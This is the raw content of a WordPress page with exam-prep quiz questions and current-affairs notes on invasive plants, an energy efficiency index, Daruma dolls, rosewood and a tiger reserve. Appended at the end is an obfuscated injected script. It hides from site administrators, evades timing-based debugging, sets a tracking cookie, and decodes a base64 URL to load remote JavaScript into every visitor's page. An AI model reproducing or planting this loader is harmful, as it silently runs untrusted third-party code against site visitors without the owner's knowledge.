wp-elements-104\">\n<li>Introduced to regions in Africa and South India, where it has become invasive, used initially for firewood and ecological restoration (e.g., combating desertification).<\/li>\n\n\n\n<li>Displaces native vegetation by forming dense, monoculture thickets that outcompete indigenous plant species.<\/li>\n\n\n\n<li>Alters soil chemistry, making it less suitable for native plants and disrupting ecological balance.<\/li>\n\n\n\n<li>Reduces biodiversity by eliminating undergrowth like grasses and shrubs, crucial for herbivores.<\/li>\n\n\n\n<li>Increases human-wildlife conflict as large mammals (e.g., elephants, tigers) enter human settlements in search of food.<\/li>\n\n\n\n<li>Regrows aggressively \u2013 even after cutting or bark removal, it resprouts quickly unless uprooted completely.<\/li>\n\n\n\n<li>Produces thousands of seeds per tree, which stay viable for up to 10 years, aiding rapid and uncontrolled spread.<\/li>\n\n\n\n<li>Accelerates forest fragmentation by invading wildlife corridors like the Nilgiri Biosphere Reserve.<\/li>\n\n\n\n<li>Consumes water and nutrients rapidly, stressing local ecosystems already vulnerable to climate change.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Elimination:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>In Tamil Nadu, for instance, it is being used in a pilot to produce paper pulp\u2014but removal of roots is vital, as harvesting alone is not enough to control its invasiveness.<\/li>\n\n\n\n<li>Tholpetty, Wayanad &#8211; India\u2019s first science-backed, community-led Senna eradication.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>List of invasive plant species in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>Senna spectabilis<\/li>\n\n\n\n<li>Lantana camara<\/li>\n\n\n\n<li>Eupatorium (Chromolaena odorata)<\/li>\n\n\n\n<li>Parthenium hysterophorus<\/li>\n\n\n\n<li>Prosopis juliflora<\/li>\n\n\n\n<li>Acacia mearnsii<\/li>\n\n\n\n<li>Mikania micrantha<\/li>\n\n\n\n<li>Leucaena leucocephala<\/li>\n\n\n\n<li>Ipomoea carnea<\/li>\n\n\n\n<li>Salvinia molesta<\/li>\n\n\n\n<li>Pistia stratiotes<\/li>\n\n\n\n<li>Alternanthera philoxeroides<\/li>\n\n\n\n<li>Ageratum conyzoides<\/li>\n\n\n\n<li>Amaranthus spinosus<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> \u00a0 <br><strong>Q. Why is a plant called Prosopis juliflora often mentioned in news?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) Its extract is widely used in cosmetics. <br><strong>(b) It tends to reduce the biodiversity in the area in which it grows.<\/strong> <br>(c) Its extract is used in the synthesis of pesticides. <br>(d) None of these<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.downtoearth.org.in\/forests\/red-alert-over-green-menace-how-south-india-is-fighting-back-against-the-senna-invasion\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/forests\/red-alert-over-green-menace-how-south-india-is-fighting-back-against-the-senna-invasion<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>7. The State Energy Efficiency Index 2024 is released by<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(a) NITI Aayog<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(b) Bureau of Energy Efficiency (BEE)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(c) Central Electricity Authority (CEA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(d) International Energy Agency (IEA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Answer: (b) Bureau of Energy Efficiency (BEE)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>In NEWS:<\/strong> The State Energy Efficiency Index (SEEI) 2024, released by the Union Ministry of Power, ranks Maharashtra first among 36 states and Union Territories (UTs) for fiscal year 2023-24.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>State Energy Efficiency Index (SEEI) 2024<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-118\">\n<li>Released in August 2025 by the Bureau of Energy Efficiency (BEE), Ministry of Power, in collaboration with the Alliance for an Energy Efficient Economy (AEEE). It evaluates 36 states and union territories for FY 2023\u201324.<\/li>\n\n\n\n<li>It is the 6th edition, featuring an implementation-focused framework with 66 indicators across seven sectors: buildings, industry, municipal services, transport, agriculture, DISCOMs, and cross-sector initiatives.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Performance Classification<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-120\">\n<li>States\/UTs are classified into four categories based on their index scores:<\/li>\n\n\n\n<li>Front Runners (above 60%)<\/li>\n\n\n\n<li>Achievers (50\u201360%)<\/li>\n\n\n\n<li>Contenders (30\u201350%)<\/li>\n\n\n\n<li>Aspirants (below 30%)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Top Performers by Energy Consumption Groups<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-122\">\n<li>Based on Total Final Energy Consumption (TFEC) groups:<\/li>\n\n\n\n<li>Group 1 (&gt;15 MToE): Maharashtra topped.<\/li>\n\n\n\n<li>Group 2 (5\u201315 MToE): Andhra Pradesh led.<\/li>\n\n\n\n<li>Group 3 (1\u20135 MToE): Assam performed best.<\/li>\n\n\n\n<li>Group 4 (&lt;1 MToE): Tripura ranked highest.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Highlights<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-124\">\n<li>The number of Front Runners dropped from 7 to 5\u2014these include Maharashtra, Andhra Pradesh, Karnataka, Telangana, and Tamil Nadu.<\/li>\n\n\n\n<li>Assam and Kerala made it into the Achievers category.<\/li>\n\n\n\n<li>Contenders include: Haryana, Punjab, Rajasthan, Odisha, and Uttar Pradesh.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Sectoral progress:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-126\">\n<li>24 states have notified Energy Conservation Building Code (ECBC) 2017.<\/li>\n\n\n\n<li>31 states adopted electric mobility policies.<\/li>\n\n\n\n<li>Kerala leads with 74% adoption of solar-powered agricultural pumps.<\/li>\n\n\n\n<li>All 36 states\/UTs have prepared State Energy Efficiency Action Plans (SEEAPs).<\/li>\n\n\n\n<li>31 states\/UTs have established State-Level Steering Committees on Energy Transition.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-128\">\n<li>Implementation-focused framework aligns with emerging priorities like ESCO models, star-rated buildings, PAT scheme expansion, MSME profiling, EV demand-side incentives, and DSM efforts by DISCOMs.<\/li>\n\n\n\n<li>SEEI 2024 acts as a policy and governance tool, encouraging federal competitiveness, sharing of best practices, and tracking progress toward India\u2019s net-zero goals for 2070.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> \u00a0 <br><strong>Q. On which of the following can you find the Bureau of Energy Efficiency Star Label?<\/strong> <strong>\u00a0<\/strong> <br><br>1. Ceiling fans<br>2. Electric geysers<br>3. Tubular fluorescent lamps \u00a0 <br><br><strong>Select the correct answer using the code given below.<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 2 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/state-energy-efficiency-index-2024\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/state-energy-efficiency-index-2024\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>8. The Daruma Doll, often seen in Japanese culture, is associated with which of the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(a) Bodhidharma, founder of Zen Buddhism<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(b) Confucius, founder of Confucianism<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(c) Laozi, founder of Taoism<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(d) Nichiren, founder of Nichiren Buddhism<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Answer: (a) Bodhidharma, founder of Zen Buddhism<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>In NEWS:<\/strong> PM Modi Receives Daruma Doll From Japan Priest: Meaning Behind The Symbol Explained<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"351\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image.jpg\" alt=\"\" class=\"wp-image-2266\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image.jpg 624w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-300x169.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>About Daruma Doll<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>The Daruma doll is a traditional Japanese talisman of perseverance and good luck.<\/li>\n\n\n\n<li>It is modeled after Bodhidharma, the Buddhist monk who founded Zen Buddhism.<\/li>\n\n\n\n<li>Typically made of papier-m\u00e2ch\u00e9, hollow, and weighted at the bottom so it returns upright when tilted (\u201cOkiagari\u201d effect \u2013 symbolizing resilience).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Appearance &amp; Symbolism<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-140\">\n<li>Usually round-shaped, painted in red, though other colors also exist.<\/li>\n\n\n\n<li>Eyes: Initially blank. One eye is painted when a goal is set; the other eye is painted once the goal is achieved.<\/li>\n\n\n\n<li>Represents: Perseverance, resilience, good fortune, goal-setting, and success.<\/li>\n\n\n\n<li>Often inscribed with Japanese characters like \u201cfuku\u201d (good fortune) or \u201csh\u014dfuku\u201d (bringing happiness).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Cultural Context<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-142\">\n<li>Popular in New Year celebrations in Japan, when people set new goals.<\/li>\n\n\n\n<li>Considered a lucky charm for businesses, students, and politicians.<\/li>\n\n\n\n<li>Sold in temples (especially in Takasaki city, Japan, known as the birthplace of Daruma dolls).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-144\">\n<li>A symbol of the Japanese proverb: \u201cNanakorobi yaoki\u201d \u2192 \u201cFall seven times, stand up eight.\u201d<\/li>\n\n\n\n<li>Encourages persistence despite difficulties.<\/li>\n\n\n\n<li>Today, it is also seen as a cultural souvenir representing Japanese identity.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> \u00a0 <br><strong>Q. Sanghabhuti, an Indian Buddhist monk, who travelled to China at the end of the fourth century AD, was the author of a commentary on:<\/strong> <strong>\u00a0<\/strong> <br><br>(a) Prajnaparamita Sutra <br>(b) Visuddhimagga <br><strong>(c) Sarvastivada Vinaya Sain<\/strong> <br>(d) Lalitavistara<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/lifestyle\/art-and-culture\/prime-minister-narendra-modi-daruma-doll-trip-japan-history-significance-10218710\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/lifestyle\/art-and-culture\/prime-minister-narendra-modi-daruma-doll-trip-japan-history-significance-10218710\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>9. Consider the following statements about Rosewood (Dalbergia latifolia):<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li>It is a large evergreen tree that grows up to 40 meters tall.<\/li>\n\n\n\n<li>It is native to the Indian subcontinent and Southeast Asia.<\/li>\n\n\n\n<li>It is listed under CITES Appendix II for regulated trade.<\/li>\n\n\n\n<li>It is classified as Vulnerable in the IUCN Red List.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(a) II and IV only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(b) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(c) II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(d) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Answer: (c) II, III and IV<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>In NEWS:<\/strong> Tamil Nadu has lowest density of rosewood tree population in south India, finds study<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>About Rosewood Tree<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li>Scientific name: Dalbergia latifolia (Indian rosewood, also called \u201cshisham\u201d in some regions).<\/li>\n\n\n\n<li>Family: Fabaceae (Legume family).<\/li>\n\n\n\n<li>Native to: Indian subcontinent and Southeast Asia.<\/li>\n\n\n\n<li>Grows in moist deciduous forests of South India (Karnataka, Kerala, Tamil Nadu, Andhra Pradesh).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Characteristics<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-158\">\n<li>A large deciduous tree which grows up to 40 meters tall.<\/li>\n\n\n\n<li>Timber: Hard, durable, and richly grained, with fragrant rose-like scent.<\/li>\n\n\n\n<li>Wood is dark brown to purple-brown, valued for furniture and musical instruments.<\/li>\n\n\n\n<li>Leaves: Compound, with 5\u20137 leaflets.<\/li>\n\n\n\n<li>Flowers: Small, white to pink, fragrant.<\/li>\n\n\n\n<li>Fruits: Flat pods containing 1\u20134 seeds.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Uses<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-160\">\n<li>Highly prized for furniture, decorative veneers, musical instruments (like guitars, violins, sitars).<\/li>\n\n\n\n<li>Used in plywood, carvings, luxury flooring.<\/li>\n\n\n\n<li>Considered a valuable export timber.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Conservation Status<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-162\">\n<li>Listed in CITES Appendix II (regulated trade).<\/li>\n\n\n\n<li>Overexploited due to high commercial demand.<\/li>\n\n\n\n<li>Classified as Vulnerable (IUCN Red List).<\/li>\n\n\n\n<li>Export of rosewood logs from India is restricted under the Foreign Trade Policy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-164\">\n<li>Known as \u201cKing of Timbers\u201d in India for its quality and beauty.<\/li>\n\n\n\n<li>Provides livelihood for artisans, woodworkers, and local industries.<\/li>\n\n\n\n<li>Plays an ecological role in moist deciduous forests.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> \u00a0 <br><strong>Q. Consider the following:<\/strong> <strong>\u00a0<\/strong> <br><br>1. Cashew<br>2. Papaya<br>3. Red sanders \u00a0 <br><br><strong>How many of the above trees are actually native to India?<\/strong> <strong>\u00a0<\/strong> <br><br><strong>(a) Only one<\/strong> <br>(b) Only two <br>(c) All three <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/tamil-nadu-has-lowest-density-of-rosewood-tree-population-in-south-india-finds-study\/article69995928.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/tamil-nadu-has-lowest-density-of-rosewood-tree-population-in-south-india-finds-study\/article69995928.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>10. From the ecological point of view, which one of the following assumes importance in being a good link between the Eastern Ghats and the Western Ghats?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(a) Sathyamangalam Tiger Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(b) Nallamala Forest<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">(c) Nagarhole National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(d) Seshachalam Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Answer: (a) Sathyamangalam Tiger Reserve<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>PYQ &#8211; 2017<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-174\">\n<li>Sathyamangalam Tiger Reserve is located in Tamil Nadu, in the Erode district, and sits strategically between the Western Ghats and the Eastern Ghats.<\/li>\n\n\n\n<li>This geographic position makes it ecologically critical as it serves as a vital wildlife corridor, linking:<ul><li>Mudumalai\u2013Bandipur\u2013Nagarhole complex of the Western Ghats, with<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Biligiri Rangaswamy Temple Hills (BRT Hills) and the Eastern Ghats<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>It forms part of the Nilgiri Biosphere Reserve, one of the most important biodiversity hotspots in the world.<\/li>\n\n\n\n<li>Supports genetic flow and animal movement between species-rich regions of the Eastern and Western Ghats.<\/li>\n\n\n\n<li>Crucial for the conservation of tigers, elephants, and other wide-ranging species.<\/li>\n\n\n\n<li>Home to diverse flora and fauna, with dry deciduous forests, moist deciduous forests, and thorn forests.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following groupings: In how many of the above groupings are both India and China members? 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